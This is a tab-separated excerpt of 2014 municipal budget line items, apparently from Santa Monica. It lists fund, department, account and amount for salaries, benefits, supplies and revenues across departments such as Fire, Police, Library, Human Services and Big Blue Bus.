5572	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511749.0	VISION	804.0	Salaries and Wages	2014	5819.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5819.0
5573	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511749.0	VISION	816.0	Salaries and Wages	2014	816.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	816.0
5574	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	569230.0	INTEREST ON SMURRF LOAN		 Supplies and Expenses	2014	62750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	62750.0
5575	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577701.0	PROP A REIMBURSEMENT-WISE		 Supplies and Expenses	2014	-614000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-614000.0
5576	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522180.0	BANK FEES		 Supplies and Expenses	2014	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
5577	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2014	25398.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25398.0
5578	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	812.0	 Supplies and Expenses	2014	3100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3100.0
5579	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533640.0	CONF / MTGS / TRAVEL-TW	804.0	 Supplies and Expenses	2014	7140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7140.0
5580	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	401020.0	ELECTION-SMUSD/SMCCD/RC	610.0	Intergovernmental	2014	-200000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-200000.0
5581	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	28845.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28845.0
5582	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401070.0	TENNIS RESERVATIONS	612.0	Charges for Service	2014	-235263.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-235263.0
5583	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401260.0	BEACH PARKING	612.0	Charges for Service	2014	-9653422.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9653422.0
5584	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	566631.0	SMURRF PLANT MAINTENANCE		 Supplies and Expenses	2014	425000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	425000.0
5585	BA	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404400.0	AFFORD HSING PROD PRGM DEVELOP	622.0	Other	2014	-300000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-300000.0
5586	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2014	27.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27.0
5587	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	96440.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	96440.0
5588	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	891309.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	891309.0
5589	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2014	2832700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2832700.0
5590	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	544111.0	PROMOTIONAL ITEMS		 Supplies and Expenses	2014	6406.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6406.0
5591	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	577066.0	DELIVERY CHARGES		 Supplies and Expenses	2014	103.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	103.0
5592	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522114.0	UTIL-LIGHT/POWER-PARKING AUTH	816.0	 Supplies and Expenses	2014	98954.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	98954.0
5593	BA	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	407320.0	MALL PARKING LEVY	622.0	Other	2014	-605918.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-605918.0
5594	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407410.0	CONSTRUCTION & DEMOLITION	650.0	Charges for Service	2014	-285000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-285000.0
5595	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400790.0	OUTDOOR DINING-TRANSIT MALL AR	618.0	Rentals	2014	-71939.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-71939.0
5596	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	124757.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	124757.0
5597	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	658998.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	658998.0
5598	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	208620.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	208620.0
5599	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	291768.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	291768.0
5600	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2014	428425.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	428425.0
5601	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511743.0	MEDICAL - MISC. EMPL	840.0	Salaries and Wages	2014	780659.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	780659.0
5602	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511746.0	MED TRUST - MISC. EMPL	840.0	Salaries and Wages	2014	38085.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38085.0
5603	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	108113.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	108113.0
5604	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511749.0	VISION	806.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5605	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511748.0	DENTAL	806.0	Salaries and Wages	2014	25955.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25955.0
5606	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511749.0	VISION	806.0	Salaries and Wages	2014	1797.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1797.0
5607	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511749.0	VISION	806.0	Salaries and Wages	2014	12776.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12776.0
5608	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511749.0	VISION	806.0	Salaries and Wages	2014	408.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	408.0
5609	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511748.0	DENTAL	804.0	Salaries and Wages	2014	7432.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7432.0
5610	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511749.0	VISION	804.0	Salaries and Wages	2014	695.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	695.0
5611	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2014	23521.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23521.0
5612	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2014	5885.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5885.0
5613	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511748.0	DENTAL	816.0	Salaries and Wages	2014	6985.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6985.0
5614	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511749.0	VISION	808.0	Salaries and Wages	2014	695.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	695.0
5615	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	834.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	834.0
5616	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	1085.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1085.0
5617	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	2236.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2236.0
5618	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522986.0	CNG FUEL-SERVICE VEHICLES		 Supplies and Expenses	2014	10250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10250.0
5619	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401040.0	DONATIONS	622.0	Other	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5620	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	16950.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16950.0
5621	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2014	4987.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4987.0
5622	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2014	23142.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23142.0
5623	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2014	4106.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4106.0
5624	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	2051.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2051.0
5625	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	30765.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30765.0
5626	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	1627.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1627.0
5627	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	1059.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1059.0
5628	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561101.0	CLARE FOUND-GENERAL FUND		 Supplies and Expenses	2014	115205.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	115205.0
5629	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562120.0	CONNECTIONS FOR CHILDREN		 Supplies and Expenses	2014	45446.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45446.0
5630	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562341.0	SMC- The Pico Promise		 Supplies and Expenses	2014	156782.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	156782.0
5631	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	564132.0	INDEPENDENT LIVING SERVICE		 Supplies and Expenses	2014	165771.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	165771.0
5632	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522620.0	RENT	804.0	 Supplies and Expenses	2014	18348.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18348.0
5633	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405920.0	TIDE SHUTTLE HOTEL REVENUE	650.0	Charges for Service	2014	-377195.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-377195.0
5634	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2014	4317313.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4317313.0
5635	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2014	164366.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	164366.0
5636	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	13905.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13905.0
5637	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	276339.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	276339.0
5638	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	33263.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	33263.0
5639	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	116045.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	116045.0
5640	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	48848.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	48848.0
5641	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	23556.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23556.0
5642	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	6490.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6490.0
5643	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	91782.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	91782.0
5644	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561139.0	OPCC INTERIM HOUSING & WELLNES		 Supplies and Expenses	2014	854513.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	854513.0
5645	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561161.0	STEP UP-SANTUARY-GENERAL FUND		 Supplies and Expenses	2014	125723.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	125723.0
5646	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561171.0	EMERGENCY FOOD DISTRIBUTION		 Supplies and Expenses	2014	105566.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	105566.0
5647	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562151.0	FAM SVC OF SM-AGCY BSD COM SPP		 Supplies and Expenses	2014	63236.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	63236.0
5648	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563112.0	HEALTH CARE FOR SENIORS		 Supplies and Expenses	2014	93129.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	93129.0
5649	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	564111.0	CASE MANAGEMENT AND EDUCATION		 Supplies and Expenses	2014	93173.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	93173.0
5650	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565232.0	DOMESTIC VIOLENCE PROGRAM		 Supplies and Expenses	2014	79645.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	79645.0
5651	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565271.0	SOJOURN/DOMESTIC VIOLENCE NTWR		 Supplies and Expenses	2014	7107.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7107.0
5652	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	12300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12300.0
5653	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2014	81423.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	81423.0
5654	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	946856.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	946856.0
5655	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2014	45807.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45807.0
5656	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	14148.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14148.0
5657	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	234707.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	234707.0
5658	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	8690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8690.0
5659	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	371471.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	371471.0
5660	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	210849.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	210849.0
5661	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565161.0	VENICE FAMILY CLINIC-GEN FUND		 Supplies and Expenses	2014	93319.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	93319.0
5662	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404770.0	PROP C LOCAL RETURN	610.0	Intergovernmental	2014	-1273801.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1273801.0
5663	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
5664	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407630.0	CONSTRUCTION & DEMO PERMIT FEE	650.0	Charges for Service	2014	-229537.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-229537.0
5665	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	407690.0	TAXI DECAL FEE	612.0	Charges for Service	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5666	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2014	1579.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1579.0
5667	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544280.0	HAZ-MAT SUPPLIES	806.0	 Supplies and Expenses	2014	9225.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9225.0
5668	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	2180595.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2180595.0
5669	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2014	129737.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	129737.0
5670	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2014	169859.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	169859.0
5671	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2014	379327.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	379327.0
5672	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	171884.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	171884.0
5673	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	57438.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	57438.0
5674	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	36347.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36347.0
5675	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	755173.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	755173.0
5676	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	10352.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10352.0
5677	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	475932.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	475932.0
5678	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	563506.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	563506.0
5679	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	87045.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	87045.0
5680	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2014	160765.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	160765.0
5681	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2014	174308.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	174308.0
5682	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	137308.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	137308.0
5683	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1844.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1844.0
5684	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		UNEMPLOYMENT	812.0	Salaries and Wages	2014	4404.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4404.0
5685	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2014	6600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6600.0
5686	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		EAP	816.0	Salaries and Wages	2014	622.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	622.0
5687	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		UNEMPLOYMENT	816.0	Salaries and Wages	2014	14812.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14812.0
5688	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		EAP	816.0	Salaries and Wages	2014	831.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	831.0
5689	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EAP	806.0	Salaries and Wages	2014	2385.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2385.0
5690	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		EAP	806.0	Salaries and Wages	2014	9600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9600.0
